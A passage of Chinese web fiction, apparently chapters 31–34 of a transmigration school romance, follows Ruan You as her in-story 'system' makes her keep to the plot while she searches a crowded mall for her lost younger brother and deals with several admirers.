阮柚亦步亦趋跟在江净理身后, 保持着十分礼貌的社交距离。 心跳渐渐平息下来, 她抬眸看了眼少年的背影, 摸过鼻尖, 略有心虚。 刚才她的举动,可谓是毫无逻辑、堪称冒犯了。 阮柚安静走着,冷不丁, 思路来了个一百八十度偏转。 倒是……很符合她要维护的人设! 系统默默探出头:宿主, 真是逻辑小鬼才呀 ……可恶 这越听越有些奇怪的语气。 阮柚正开着小差, 殊不知不设防的下一秒,额头直直撞在对方的脊背。 她下意识退了半步,伸手摸了下额头, 动作很轻,随着手心传来的温度消失极快。 只是,如今莫名有些尴尬。 完全没注意到,他是什么时候停下来的。 阮柚仰着头,缓缓迎上江净理,而对方也在看着他,并先她一步开口,“不知道的还以为你是我的跟班。” 跟、跟班? “什么意思?” 这的确是她的人设之一,但她万分确定,她面对他的人设定位可没有这一条! 江净理:“不是这样的话,我想不到你一直跟在我身后的理由。” 对方又说了句更长的话。 阮柚这次明白了,原来他的意思是她走的太慢了。 像是证明自己般,她神色平静,几步越过两人间隙,“那我们继续走吧。” 一想到即将彻底完结的任务,脚步也轻快了许多。 江净理低低应了声,没有过多言语。 默契地跟在他身边,待转过楼层拐角时,阮柚无意一瞥,看见少年微微上翘的唇角。? 什么事这么开心。 门打开,阮柚看了眼有些眼熟的室内装横,停下来看江净理。 他低头翻阅过文件,问得不经意,“为什么要报名?” 阮柚稍稍走近,不假思索,“因为想要这个难得的机会啊。” 接过他递来的纸和笔,她心中微动,酝酿补充,“而且,我觉得没有人比我更适合了,这个机会就是为我准备的,如果不是我,就太奇怪了。” 唔,最后不是她,而且一点也不值得奇怪。 阮柚埋在桌迅速填表,话讲得表里不一,又信手拈来。 直到,听见一声淡淡应和,“是啊。” “那就祝你一切顺利。” 他和顾叙说了差不多的话,却在截然相反的情况。 阮柚笔身微抖,潦草写完最后一个字,很快将报名表递给了他。 这话可不兴说,即使说得轻描淡写、像极了玩笑话。 “谢谢你,我先走了。” 起身后,阮柚理了下制服衣摆,快刀斩乱麻说了道别。 江净理坐在对面沙发,随后平静点了下头,“我送你回教室。” “不用。”阮柚顿了下,“没必要,你忙吧。” 撂下三个字,她微笑摆了下手,朝门口碎步离去。 ……送她回教室?想都不敢想。 直到走出休息间,身后那道随行视线才彻底淡去。 阮柚等来了电梯,走进后,看了眼电梯镜面倒映的自己。 尔后,她微微蜷起手指,忍不住触了下脸颊。 并不烫,唯独一点就是——红得尤为多余、奇怪。 阮柚和原身的相似一点,即是身体素质一般,跑几步就喘,爬几步就停,脸红的不像话 ……… 刚才,他是怎么忍住没有笑的。 / 吹了会儿风回到教室后,阮柚发现身边座位空了。 顾叙临时请假练习钢琴了,放学会回来。 她放下纸条,心下了然。 百无聊赖翻了几页书,阮柚下巴慵懒耷在桌面,眼神很是平静。 平静到几乎看不懂。 倏然间,阮柚想起几天后的学业测试,也是即将修正的剧情任务。 原身在这次考试中,因为疏于学业而遭遇学业滑铁卢,差点连B班小尾巴都没沾上。 与此同时,也丧失了学院的奖学金。 因此对待近在咫尺、能荣耀加身的代言人机会看中的愈发病态。 阮柚默默合上书本,这下应该不用刻意修正了。 因为……确实不怎么会。 上完了一天的课,阮柚背着书包,在回去路上遇见了宁糖。 身为少女漫女主角,总会发生一些大起大落、充满戏剧的事情。 比如现在,落日下的巷口,被小混混堵在墙角的少女,急需男主之一路过时伸出援手。 漫画里,为了感情升温用不烂的桥段。 阮柚随意咬着棒棒糖,拢了下米色围巾,听着耳机悠悠传来的音乐,平淡瞥开视线。 唔,果不其然。 她缩了缩身形,抬眸,看了眼远处道路水平线处,闲闲走来的一行人。 领头的少年宽肩窄腰,夕阳游荡在他的衣领,外套绑在腰间洒脱自在,倒是实打实多了些漫画感。 剧情男女主人公均已到场,阮柚蹲在角落,挥了几下漂浮的尘埃,心放宽了大半。 拍了拍膝盖站好,她双手插在衣兜,再次观察对面的动静。 同时,对剧情进行完整复盘。 女主宁糖被围堵敲/诈,有同学路过却见死不救,在心灰意冷之际,却遇见了打完篮球经过的成玉,再一次英雄救美后,两人互相愈发了解…… 简单粗暴,异常和谐。 除了那个见死不救的同学……是她。 时机到了,阮柚听见系统提醒,平静摘下耳机,从隐蔽处跳了出来。 “我真的没有钱。” 女生声音急切。 小混混凶道,“不可能,你是圣煜的学生,怎么可能没有钱!” 宁糖:“圣煜学生也不一定有钱……” 巷口路过时,阮柚听见这样一段对话。 说的没错。 平静走过后,她扫了眼路边枯树,迟迟没有等来系统的提示音。 ……嗯? 阮柚空空眨了眨眼睛。 【系统:检测到女主宁糖并没有看见。】 没、没有看见? 那岂不是白走了! 【系统:这边建议你再走一次哦。】 阮柚:…… 迅速扫清杂乱无章的心情后,阮柚快步跑过那道巷口 感受到氛围稍加沉寂后,她鼓足一口气,捏着书包肩带缓缓路过。 走得慢吞吞、极其缓慢。扫了一眼,又很快别开,离开的目不斜视。 而另一边,宁糖抱着书包,死死靠在墙壁,于混乱中,滋生些许绝望。 她抬起了头,不期然顺着间隙透来的光,触到一道熟悉的身影。 少女脖挂粉白耳机,远远停在那里,杏眼毫无涟漪,又淡然自若。 是阮柚。 不知为何,像是窥见暖阳,杂乱成团的心觅到些许平静。 ……不要过来! 很快,像是读懂般,对方淡淡瞥开了视线,一切恢复自始至终。 而这边,阮柚终于听见了系统提示音。 这次看见了。 身影闪过后,她扒拉着墙角,探了下脑袋,看着愈来愈近的成玉他们。 心跳开始紧张的倒计时,甚至忽略过轻拂而过的风声。 而另一边—— “成玉,你已经很厉害了,真的。” 怕对方不相信,男生又点了点头。 所以,咱别再那么走火入魔打篮球好吗? 他现在宁愿去拍蚊子。 成玉抬眸,“那我为什么会输给江净理?” 男生一噎,尔后,很快有人补充,“那次是意外,你的状态不好。” 成玉啧了声,无所谓道,“输了就是输了。” “可输给谁,都比输给江净理好。” 话轻飘飘的,不沾丁点情绪,又很快被一声迟疑更迭取代。 男生环抱着篮球,皱眉,“那边怎么回事?敢欺负我们圣煜人?” 阮柚听着男生意气十足,又略显中二的话语,彻底地放下心来。 那边,解围的戏码如约而至。 刚想离开,兜里的手机发出振动声响。 阮柚心虚大半,手忙脚乱掏出后,看了眼备注。 ——孟季雪。 幸亏提前调至静音。她侥幸地想。 还没等她有所动作,这通电话被对方自己截断了。 阮柚埋着脑袋,短暂蹙了下眉。 转身离开时,阮柚正犹豫着回不回拨。 而很快,她就收到了一条短信。 “往右边看。” 阮柚眉心一跳,跟随着指引方向望去。 等过最后倒计时,孟季雪踩着低跟,慢条斯理顺着斑马线朝这边走来。!!! 孟季雪:“打老远就见到你了。” 声音一顿,“在这做什么呢?” “我,我在这里看风景。”阮柚勉强扯了下唇,“这就离开。” 说罢,背身朝反方向走去。 “站住。” 一道声音,简明扼要。 阮柚不自觉停住,顺着动静望过去,见孟季雪微微一笑,“和顾叙成同桌了?” 说罢,她微微抬起下巴,“不用觉得我消息滞后,其实我早就知道了,但我没放在心上。” 阮柚点了点下巴,认真聆听,“嗯,所以需要我……?” 职业病发作,听见孟季雪的话,下意识觉得对方是要她帮忙做些什么。 孟季雪嘴唇微动,望着满目的认真明净,话语堪堪卡在嗓中。 ……怎么和想象中的反应完全不一样。 而正值此时,阮柚耳畔遥遥飘来熟悉的对话声,伴随秒数叠加,愈加清晰。 下一秒,她便辨清了说话的人,以及,系统任务完成的声音。 成玉!! 心下警铃登时大作,阮柚一不做二不休,拉着孟季雪就往角落闪去。 尔后,手指抵在唇前,眼睛恳切到发亮,“嘘——” 孟季雪飞速侧头看她,满目愕然,明晃晃写着:你竟然这么对我! 她也不想啊! 阮柚真挚抿起唇,心底苦哈哈。 而恰逢此时,一行人从停在路边等着倒计时。 “谢、谢谢你。” “不用谢,举手之劳罢了。” “是她叫你来得吗?” “……谁?” 而这边,阮柚平息下紧张到失序的心跳,眼睁睁见证着孟季雪表情丰富的转变。 疑惑、茫然、惊讶、恍然、又到现在的意味深长。 不到一分半,阮柚被看的心虚,“什么事?” 谁知下一秒,对方再次扯起微笑,又拍了下她的肩膀。 孟季雪:“算了,我知道了。” 阮柚眉心一跳:“嗯?” ……知道什么? 孟季雪眉头微舒,翘起红唇,“这下我放心了。” 阮柚被哑谜打的措手不及,忍不住问,“放心什么呀?” 孟季雪眼底闪过几分抗拒的复杂,想了下,还是道,“你对成玉的想法啊!” ……想法!? 阮柚眼皮一跳,脚步黏在原地,下意识怀疑自己的耳朵。 对上孟季雪目光后,她晃了晃脑袋,张口,“你想多……” 阮柚的话,最终戛然在一道意外声响中。 顺着声音僵硬望去,直直迎上为首中央的人。 成玉低眸,尔后一笑,“我知道了。” 第32章 第三十二章 趁现在! 少年不急不缓, 漆黑眼眸在余晖下染上温色,好似动容。 低头等待回答时,像是蓄足了某种期待。 阮柚被这个想法一惊, 恍惚间,再次响起刚才那三个字。 知道了? 不,他不知道。 混乱心思在脑海中一扫而空, 阮柚平息过后, 朝他飞快地摇了下脑袋。 而不期间,身后肩膀被人轻轻一推, 下一秒,又响起孟季雪的声音。 “去啊,这个时候,你更要主动出击。” 对方顿了下, 刻意压低音量,隐约带了些鼓励意味。 “主动出击”四个字, 让她的心狠狠一震。 不用想也知道, 对方心思俨然已想偏到了太平洋。 同时, 阮柚笃定, 在安静氛围下, 那句话在场几个人都听见了。 否则,为什么一动不动盯着她看,程度炙热到差点被盯穿。 阮柚捏了捏肩带, 耳观鼻鼻观心, 被盯得极不自在。 眼见出现越描越黑的架势, 她半分不敢耽误,将注意力落回成玉这边。 “其实一切都是误会。” 少女扯起唇,神色十分认真。 短短几个字, 就将肆意滋生的旖旎化淡,一瞬复归到从前。 无视周围,成玉敛下眸,笑意未改,“误会?” 阮柚睫毛闪了闪,想起之前的对话。而看着对方的反应,又一时拿不定主意。 应该是听到了吧? “好了。” 成玉忽然打断,淡下嗓,一眼不错望着她,“这次我真的知道了。” 孟季雪吸了口空气,环臂的手迟疑放下。 怎么在她听来,却隐约听出淡淡失落? 她再次看向成玉,却怎么看,也扯不上半点关系。 错觉,一定是错觉。 阮柚尚未反应,就听对方再次出声。 迎上视线后,又见他唇角渐渐扯起笑意,似乎想到了什么。 果不其然,下一秒,又听成玉慢吞出声,跳过话题,“在这里遇见,怎么说也是缘分,不如等会聚聚吧。” 聚、聚聚? 阮柚努力维系笑意,“不用了,我有重要的事。” 上次的阴影至今鲜活。 成玉咬了下后齿,眼底光彩渐渐寂灭,“介意告诉我,是什么事情吗?” 话音一落,身后几个竭力压低存在感的朋友呼吸凝滞,愈发石化。 这种极缓到温柔的语调,是那个张扬恣肆,什么都不放在眼里的小少爷会说的话吗? 但转念一想,好像很快就有答案。 眼前的少女,纯粹又生动,美到见之难忘,即使什么都不做,都让人发自内心生出好感。 是出于本能的、青葱隐秘的悸动。 但仅限于此,因为很快,一道视线冷淡扫来,傲慢又冷清。 “这里没你们的事,你们先回去吧。” 逐客令一下,几人微笑着点头。 临走前,又看了眼成玉方向。少年斜挎黑色单肩包,唇角含笑,丝毫不见刚才的阴霾。 装,太会装了! 而另一边,阮柚面不改色心不跳,随口抛出了理由。 成玉淡淡挑眉:“去图书馆学习?” 阮柚气定神闲,“没错。” 不放弃任何学习时间,好好学习,从她做起。 孟季雪啧了声,耸肩,似觉得无趣,却也没有拆穿。 阮柚心放下大半,“所以……” 成玉颔首,语调轻快:“好巧,我也要去。” ……!! 少年话音刚落,阮柚和孟季雪齐齐用复杂的目投望过去。 很快,陡然一阵笑。 阮柚慢吞吞望向孟季雪,对方清了清嗓,昂起下巴,“说实话,我也不想笑。” 但是忍不住。 阮柚抿了下唇,想完她没说的后一句。 “怎么了?” 成玉睫毛动了动,低眸,面露无辜的疑惑。 阮柚欲言又止:…… 而恰逢此时,一阵风微微拂过。顺着动静探去,高耸电杆旁,是一道熟悉至极的人影。 少年罕见没穿学院制服,灰白衣领微敞,随着怀中橘猫无声攒动,蒙上一层如玉的暖泽。 不知站了多久。 “顾叙,你怎么来了!” 见状,阮柚眉心一跳,看了眼路边停靠的车。 他是什么时候过来的? 成玉扯了下唇,拉了下阮柚的袖角,扭头道,“你对猫毛过敏,离他远一点。” 阮柚看了眼隔着数步远的距离,犹豫着轻应了声。 直觉在告诉她,她该找个机会快点脱身。 “刚练完琴。” 顾叙将橘猫递给身边的司机,平静立在原地,嗓音一如既往温淡。 阮柚正思索着,直到第六感察觉到视线,不经意望了过去。 但很快,一道人影挡住了面前的视野。 “这样啊,你怎么能不和我说呢,我好久没听你弹钢琴了。” 孟季雪勾起唇笑,走近,眼睛闪烁光芒。 顾叙:“没什么好看的。” 又问,“你们怎么在这里?” 成玉微拖着长调,扬眸,不经意道,“为什么要告诉你啊。” 少年话说得随心轻意,在旁人听来,却像带着不加掩饰的恶劣散漫。 这个反应…… 阮柚沉默抿了下唇,尔后,想了下原漫剧情的设定。 成玉和顾叙,应该关系没这么冷冰呀。 这是闹别扭了? 但她无心多想,当务之急,就是速速离开。 而稍一抬眸,便直迎上了顾叙。 阮柚一顿,反应过来时,酝酿许久的话已经说出了口,“……我要去学习了,你们聊。” 顾叙眼底闪过微讶,笑容淡淡化开,“这样啊。” 孟季雪轻哼:“对呀,再不学习肯定连B班都进不了了。” 顾叙微蹙。 阮柚闻言,点头如捣蒜,说得对,太对了。 完全说出了她的心声。 知音难觅! 见阮柚这样看着她,孟季雪没由来不自在,抿了下红唇,悠悠别开目光。 哼,她又没说错。休想让她心软。 成玉步调微转,轻声,“我们走吧。” 阮柚点了点头。 算了,先离开再说。 “等一下。” 阮柚脚步一顿。 回头望去,顾叙看过来,淡淡一笑,“我也去。刚好最近有些课落下了,需要温习。” 阮柚闻言一愣,还未回话,头顶传来一阵冷笑,像是看穿一切。 / 半个小时后,阮柚摘下脖颈的耳机,缓慢翻过书页。 而即使动作放得极轻,却还是在几秒后,毫无征兆触及到两道视线。 顾叙、成玉,不知何时,均看了过来,情绪浅淡未知。 无论何时,都是无法忽视的存在。 她不动声色低下头,撑起下巴,冷不丁看见成玉借阅的书。 书页一张一合,直直抖落起灯光,随着时间延长,封面字迹清晰可见。 然后,阮柚赫然看见几个大字,排版松散,颜色有些花里胡哨。 霸道校草心机爱:女人哪里逃 ……!! 阮柚像被烫了一下,触及即分,油然几分复杂。 ……爱好有些特殊。 对方似察觉到异样,眉心一皱,顺着视线慢吞吞低下头。 尔后,他猛然合上书,毫不犹豫扫在长桌的角落。 好似重度洁癖,生怕沾染上尘埃。 阮柚紧紧抿唇,头埋着,生怕一不小心笑出声。 而身边,孟季雪喝了口咖啡,目光明目张胆停在顾叙身上。 全然不晓得旁边动静。 成玉抬起头,话停在周围翻书声中,摸了把头发,闪过几分郁结。 顾叙安静偏过头,淡下情绪,不经意间一览无余。 斜对面,少女手臂支在一侧,眼睛微弯,笑得灵动鲜活,让人移不开眼。 可这一切,却又和他无关。 就像失衡的浮木,遥遥相望,却只能抓到一把空。 理智在前,情绪掩得很快。 而这边,桌上的手机屏幕微亮,阮柚迟疑拿了起来。 六个标红的未接电话,以及一则最新发来的消息。 看见署名后,阮柚微抿起唇,这个时候找她,是有什么事吗? 手指点开,消息跳跃眼前:“小时不见了。” / 到达喷泉广场后,阮柚在人群中很快看到阮母,女人身量不高,雾色灯火下身影尽显寥落孤寂,与热闹欢欣格格不入。 阮柚小跑了过去,问,“怎么回事?” 电话终究还是说不清楚。 阮母眼眶泛红,勉强绽起苦笑,“约好了带他出来转,没想到人太多,一个转身的功夫,人就不见了。” 阮柚微微颔首,“那找人广播了吗?” 阮母握着她的手:“有,有个好心人帮我……但还是没有音信……” 阮柚抿了抿唇,感受到对方手心捏着的薄汗。 不用回忆剧情,就知道这又是一个变故的出现。 手心温热发紧,像是攥住最后的精神寄托。阮柚又问了细节,顺便安抚了几句慌乱愧疚的阮母。 “放心好了,他不会有事的,你等在这里,等会我回来找你。” 阮柚说完后,跟随系统抛出的一个大概方向,很快穿梭过徘徊聊天的人群。 她提前问了系统,得知对方安然无恙,所以先前才没有那么紧张。 不过现在这样,尽快找到比什么都好。 夜色下,繁华光影重叠掩映,巨大电子广告牌上,女人盘着发髻端坐,笑容优雅随和。 不经意扫过,浅淡的印象转瞬即逝。 阮柚呼吸错落白雾,加快步伐折返人群。 走近商场后,阮柚定了定视线,看了眼纷扰热闹的人群。 直面过后,才意识到刚才听到那句“人太多了”半点没有夸张。 唔,今天是什么特殊日子吗? 阮柚没凑近看,安静往里走,又听见有人在身边聊天。 “本来想逛街,怎么突然来了这么多人呀,难道有什么重要的大人物到场了?” 阮柚脚步微停,抿唇,本能竖起耳朵。 “应该不是吧,我没注意,可能是有什么活动吧。” 站在缓缓上升的电梯,阮柚微微低眸,不经意扫了眼人群中央。 黑色站台上,男人穿着体面规整,发胶推的油光顺滑,单手握着麦克风,“今天商场成立五周年,我宣布,随机抽奖活动,现在开始!” 果然是这样。 阮柚想。 身后坐立的大屏中,随着齐齐的倒计时,跟随摄影一幕幕闪过不同的人脸。 为这场活动氛围造势到极致。 渐渐远离了热闹,阮柚站在二楼,再次询问系统,“确定是在这里吗?” 她看了眼周围,这层是家具区,比起楼下,显得愈发明亮空旷。 系统:权限正常,正在检测中…… 阮柚耐心等了三秒后,又听见系统出声,“检测到人物对象已经离开。” 离、离开? 心慌乱只一瞬,因为很快,她就自己找到了答案。 隔着长空,电子屏上赫然出现一张熟悉的小脸,苍白无血色,高清下,睫毛沾着湿漉,人群中小小一只,显得无措茫然。!!! 心头一震。 几乎同时,台下响起夸张又兴奋地男声,麦克风将音量提高,“哦!看来今天的幸运嘉宾已经诞生了,就是眼前这位可爱的小朋友!” 话语激起热浪,一时间,人群焦点不约而同的放低。 虽有羡慕,但更多的是善意祝福。 而这边,待反应后,阮柚赶忙折返,脑袋嗡嗡作响。 兜兜转转,没想到会在那里找到他! “小朋友,得到了旅游机会,有什么想说的吗?” 阮时垂眸,手指冰凉,“我……” “不用紧张。”男人蹲下凑近,神色鼓励。 他往后退了下,声音很低,“我想回家……” 阮柚拨开人群,很快看到了阮时的方向,锁定后,不用分说握着了他的手腕。 “阮时。” 终于找到了! 阮柚心歇下了大半。 “姐姐!” 阮时眼底绽开光彩,毫不犹豫扑过来,呜咽声埋在她的怀里,像失去安全感的小兽。 阮柚半蹲着,迟疑几秒,安抚过他瘦小的脊背。 后知后觉,感觉到周围咻咻投来的视线。 “好了,我带你回去。” 男人从小插曲中最先反应了过来,“这位……” 阮柚仰起头,很快解释:“我是他姐姐。” 而恰逢此时,系统突然响起一阵警告声。声音来得突兀,很快引起了她的紧张警觉。 系统:权限正常,检测到附近有重要人物出场,请宿主注意维系剧情。 检测到重要…… 一共说了三遍。 阮柚心瞬间提到了嗓子眼,一时间,蹲在原地半点不敢有动静。 重要人物,是谁啊? “姐姐?” 敏锐觉察到僵硬,阮时吸了吸发红鼻尖,小心翼翼,“你怎么了?” 阮柚:“没事,我们先回去。” 不管怎么样,当务之急就是先离开这个引人注目的地方。 一不做二不休,阮柚拉着阮时加快动作,将身后错愕的声音抛在脑后,飞速到走路带风。 而这时候,身后忽然钻入一阵声音,类似铃铛坠落地面时那种清灵响动。 尔后,小阮时轻声,“姐姐,我的挂坠。” 阮柚顿下步伐,转身,身后瓷白地面躺着铃铛玩偶挂坠。 没经细想,她弯腰正欲捡起。 而几乎同样瞬间,一双修长漂亮的手指先一步勾起,尔后很快离开了她的视线。 阮柚右眼皮重重一跳,即使再迟钝,也能感觉到对方一瞬不瞬在看着她。 她微微放缓呼吸,抬眸,果不其然,撞入一双熟悉的眼睛。 ……! 江净理。 心像做了过山车。 挣扎无果,还是被看见了。 “谢谢。” 她僵硬站在那里,强装着镇定,听见了自己的声音。 少年戴着黑色口罩,和身后的人远远示意,后又转过头。 他淡笑了下,伸出手,“给你。” 阮柚嗯了声,沉默拿回让她被发现的罪魁祸首。 ……可恶。 而很快,江净理动作一顿,嗓音轻淡,“还是物归原主吧。” 他看向阮柚身边的阮时。 阮柚心跳一空,拉着阮时的小手,回想起剧情的走向。 按照原本走向,原身牵扯出的身世,是作为后期打脸,才被特意留意、后公之于众的。 而现在这个架势,难道是要提前了? 那她岂不是能提前翻车下线了! 正当心底张灯结彩时,系统忽然冒了出来,泼出凉水,“不行哦。” 阮柚微微耷拉下肩膀,侥幸的念头随之湮灭。 眼见着小阮时有模有样礼貌道谢,阮柚立在旁边,反复纠结着该如何开口脱身,才不至于当场翻车。 而这时,小阮时仰头看了阮柚一眼,倏然清亮出声。 他眨了眨发红的眼睛,皱眉,“大哥哥,你看你身后。” ……嗯? 阮柚闻言,下意识想看过去。 而下一秒,掌心被人软软一攥,小阮时仰起脑袋,凑近,轻声商量,“姐姐,我们趁现在回去吧。” 阮柚:?好主意 江净理不动声色,眉梢微挑:……趁现在? 第33章 第三十三章 忽然想到 与此同时, 身后再次传来那道男声:“小姑娘,你怎么带他走了,还没领奖呢。” 一声呼唤, 像聚光灯一下蹭的打来,一切无处遁形。 正准备不管不顾离开的阮柚:……可恶。 小阮时睫毛扑闪,跟着顿住了身形。 见没有奏效, 他缓缓看向眼前大哥哥, 比电视剧里的人还好看,但他记得姐姐说得话, 也不想他的存在给姐姐添麻烦…… 想到这里,他试探握了下她的手,感受到回应的温度,心渐渐放了下来。 太好了, 姐姐并没有生他的气。 阮柚全然不知小阮时的想法,只知道现在这个时候, 已经到了火烧眉毛之际。 望向江净理的眼神, 也开始变得复杂。 怎么感觉哪里都能碰见他。 TvT 而回应她的, 是系统一片装死的沉寂。 一时间, 叫天天不应, 叫地地不灵 直到,对方忽然开口,“不过去吗?” 嗯? 阮柚大脑一瞬宕机。 江净理抬了抬下巴, 嗓音淡淡, “那边好像在等你。” 小阮时声音软糯:“不用了……” 阮柚点头, 杏眼微微发亮,“好啊。” 像是豁然抓住了光。 两人不约而同看着她,前者茫然, 后者则笑容很淡,等着她接下来的言辞。 阮柚知道对方不好糊弄,但到了现在,尽快离开,无论怎样都是最优解。 她抬了下唇,捏了捏小阮时的手,“既然这样,那我们先过去了,你忙。” 再留在这里,指不定会发展到什么地步。倒不是她怕翻车,而是她怕剧情线崩溃,连翻车的机会都没有了。 尔后,阮柚余光扫了眼朝这边走近的一对男女。 年轻的俊男靓女,穿着光鲜亮丽,气质是熟悉的矜贵不凡,是刚才和江净理谈话的朋友。 一不做二不休,阮柚忽略掉对方细微情绪,笑着和他挥手,“你朋友来了,我先走了!” 说罢,牵着小阮时的手折返过人群。 江净理站在原地,商场灯光循序折射玻璃,冷清倒映往来熙攘的人群。 人很多,但他独独看见了她,一步步离开他的视线,始终没有回头。 朋友走近,疑惑问,“在看什么?这么入迷。” 江净理转过身,不假思索:“很重要的人。” 嗯? 朋友抬了下眉毛,看着他淡漠眼眸,下意识怀疑自己的耳朵。 ……很重要的人? 而女生走来,声音埋怨,“我就说嘛,这里根本没有那条玫瑰兰心项链,我们快点回去吧。” “好。” 江净理没有动作,低眸:“我还有些事,你们先走吧。” 而另一边,阮柚双手揽着小阮时,被热情包裹似缓慢走上站台中央。 小阮时紧张缩在她的怀里,双手扒拉着阮柚臂弯,僵硬地一动不动。 而她看着乌泱泱的看台,笑容勉强地耷在嘴角。 本打算过来走个过场,没想到周围一见到她俩,就一呼百应招呼两人上台。 没等反应,就站在了这里。 救!! “今天,是一个伟大的日子。而现在,无疑是一个充满意义、神圣至极的时刻。就在刚才不久,我们无比幸运,荣获大奖的人在旁人见证下成功诞生!” 主持人声情并茂朝空中摊手,笑容绽开,连发胶都散发着激动光泽。 阮柚阖了下眼皮,睁眼,僵硬盯着对方递来的大红花。 在一片鼓舞掌声中,尴尬陷入凝滞。 而此时,装死已久的系统冒出头:没事,我听说你们的世界里有一句话叫"土到极致就是潮" 阮柚:…… 好像更难受了。 小阮时对着递在嘴边的话筒,长睫压下,茫然无辜说不出话。 三秒后,阮柚听见男人哈哈两声,尔后,话筒落在她的面前。 主持人:“这位漂亮的小姑娘,请问有什么感言要说吗?” 阮柚眨了眨眼睛,下一秒,不经意瞥到人群一道熟悉身影。 人群末,少年遥遥而立,在朝她笑,有着和热闹格格不入的清冷。 俨然将一切尽收眼底。 ……… 阮柚摸了下脖子的红花,热意顺着脸颊腾在耳根,乃至灼烧滚烫。 他居然还没走!! 社死被认识的人抓包,原来是这种感觉。 短暂过后,主持人小声提醒。 阮柚回过神,刚想说话离开,门口蓦地传来一阵喧杂,不期然间,几位穿着黑色制服的男人肃着脸走了进来。 等到反应过来时,旁边主持人及团队开始埋头收拾行装,动作慌慌忙忙,麦克风在碰撞中不小心掉落,发出一阵刺耳长鸣。 阮柚看出了不对劲。 气氛安静又紧张,人们面面相觑,却默契地从中间让出一条路。 她于是不再多想,拉着小阮时就往下走。 到底是什么情况。 “未经许可占用场地,虚假营销,都带走。”为首男人冷冷皱眉,拦住猫着腰想要逃离的主持人一行人。 主持人梗着脖子辩解,“警/官,我冤枉呀!我是真心实意想要举办这个活动的.” 男人置之不理,扫了一眼,直直落在阮柚身上。 视线犀利又冷静,阮柚默默摘下红花,放在了一边,一时被盯得脚步发沉。 他最终开口,“……你们也跟着走一趟。” ……!! 小阮时鼓起勇气探出脑袋,义正言辞,“我们没有做错事。” 阮柚抱住小小一个人,斟酌:“我们只是……” 而她的话忽然截在一半。 身后,清冽气息缓慢靠近,于无声处,右肩被人平静一揽,动作熟稔自然。 阮柚转头望去,江净理站在身边,喉结微滚,陈述地平静。 “她是陪我过来的。” “有什么问题吗?” 众人本静默着,见状窃窃私语,因为人群中,已经有人在半信半疑中,确认出少年的脸。 身为江家少爷,除却生来就拥有的尊贵,同时还自带神秘。 彻底公众露面的机会屈指可数。 而今天……少年以全然保护姿态,淡然环过身边漂亮的少女,即使并无交谈,却登对至极。 平地起惊雷,极致震撼。 说不多想,必然是假的。 今天真的是来对了! 而男人闻言微眯了下眼睛,脸色骤变,又瞬息即逝。 “好,你们的关系是?” 下一秒,阮柚听见对方再次开口。 江净理不假思索反问,“你觉得呢?” / 阮柚坐在面馆,看着阮时低头专注吃面。 她支着下巴,有些心不在焉。 莫名回想起江净理最后说的话,“你永远不用对我说谢谢。” 他好像还是什么都没有问。 剧情依旧在发生细微变化。 玻璃窗外夜色渐浓,冷风卷过路人衣角,有人艰难撑起了伞。 好像变天了。 而安静间,一碗热腾腾的面条被推到了她面前。 抬眸望去,阮母笑意温柔,“我没动筷,你吃吧。” 阮柚:“不用了,我吃饱了。” 阮母微微叹气:“看你没吃多少……” 阮时抬起下巴:“姐姐很瘦,而且很好看,不用减肥的。” 阮柚心下想笑,又压了下唇角,没有表现出来。 她缓慢点了点头,握筷,低头吃了两口面。 原漫里,阮时有着和年龄不符的敏感细腻,又极擅长察言观色,却饱受病痛折磨,边缘几乎透明。 而如今,暖光静静打在男孩脸上,脸颊微鼓,笑得明朗又鲜活。 这也是剧情的变化之一吗? 唔,感觉还不错。 没经过细想,阮柚兜里的手机铃声响了起来。 她停下动作,对着备注皱了下眉。 “我先出去接个电话。” 阮母点了点头,“好。” 推门走出去时,冷风携着雨丝直面扑来,瞬间卷走一切温暖。 阮柚一阵瑟缩,接通,“喂,顾叙。” 另一只手蜷在口袋,维系着最后的暖意。 那头很安静,顾叙的声音清晰传来,微磁,“阮柚,你在哪?” ……在哪? 阮柚下意识疑惑。 “在吃饭呀。” 对方沉默了会儿,问,“他也在吗?” “谁?” “江净理。” 听见对方说起这个名字,阮柚下意识一怔,手机握紧了些。 “没有,为什么要这么问?” “……没什么。” 顾叙阖了下眼皮,月色冷冷清清,似乎能隐忍所有隐晦的滋生。 他缓慢背过身,看着清理花瓶碎片的保姆,黑发遮掩下,深灰眼眸沉静无波。 “只是忽然想到。” 那头,阮柚一愣。 忽然想到? 怪异的情绪转瞬即逝,她轻嗯了声,“这样啊。” 所以有什么事吗? 两秒后,顾叙声音温淡,“我在练习一首曲子,想谈给你听。” “现在吗?但我是外行人,提不出什么好的建议。” 阮柚眨了下眼睛,本能以为对方缺一个职业的听众。 但她是外行呀! 而很快,对方道,“没关系。” “……好。 阮柚最终答应了,但不知为何,心还是悬着。 明明该是一段正常轻松的对话。 顾叙缓步坐在钢琴前,无视身边保姆和管家的欲言又止,长指按了两下琴键。 矜贵、温柔,转眼间,又是那个从来挑不出半点错、褒扬无数的顾家继承人。 手机那头,缓缓传来轻缓的乐曲。 阮柚抿了下唇,安静地聆听。 越听,越觉得有些耳熟,好像印象里,是在哪里曾经听到过。 而那头,家庭医生迟迟赶来,轻手轻脚走到管家身边后,同样一阵惊讶。 顺着目光望去,少年被误伤的手指渗出殷红,点点落在钢琴白键,却坐得挺直如松,专注毫无知觉。 家庭医生见状,犀利看向管家。 管家无奈懊恼地摊了摊手。他也完全不知道怎么回事! 少爷自从接了通电话低沉了下来。 鲜少见这样的情绪外露,他的第一反应,也是同样如此。 一曲很快终了后,阮柚终于想起在哪里听过这首钢琴曲。 是那次在帝宴! 顾叙对她说过。 她微微恍然,站在屋檐下,只剩下赞美的念头。 而下一秒,却听顾叙忽然出声,“总是有很多人喜欢它。” 话来得毫无征兆,轻轻扫在耳际。 而阮柚顿了下,莫名想起之前他说过的话,忽然福至心灵,“月亮吗?” 太久没想,那段谈话开始随着记忆模糊褪色,而那两个字却不知为何,隐约着清晰。 少年低嗯了声,呼吸微微绵延,尔后轻道,“你就是我的月亮。” 第34章 第34章 二更合一 对方的话出现的毫无征兆, 字字消弭在沉寂空气。 雨丝成雾,霓虹光影陆离而模糊,让周遭不再那么混沌一片。 可黑夜冗长, 这里依旧看不清月亮。 阮柚心慌一瞬,透过面馆折出的热闹鲜活,笃定起没有幻听。 可这是什么意思? 月亮? 沉默只延长三秒, 她重新握了握手机。 阮柚一笑, “顾叙,我怎么会是月亮呢?我才不想当月亮呢, 孤零零的,还不如当星星,有很多陪伴。” 她看了眼脚下的潮湿青苔,说着说着多了几分认真。 前世, 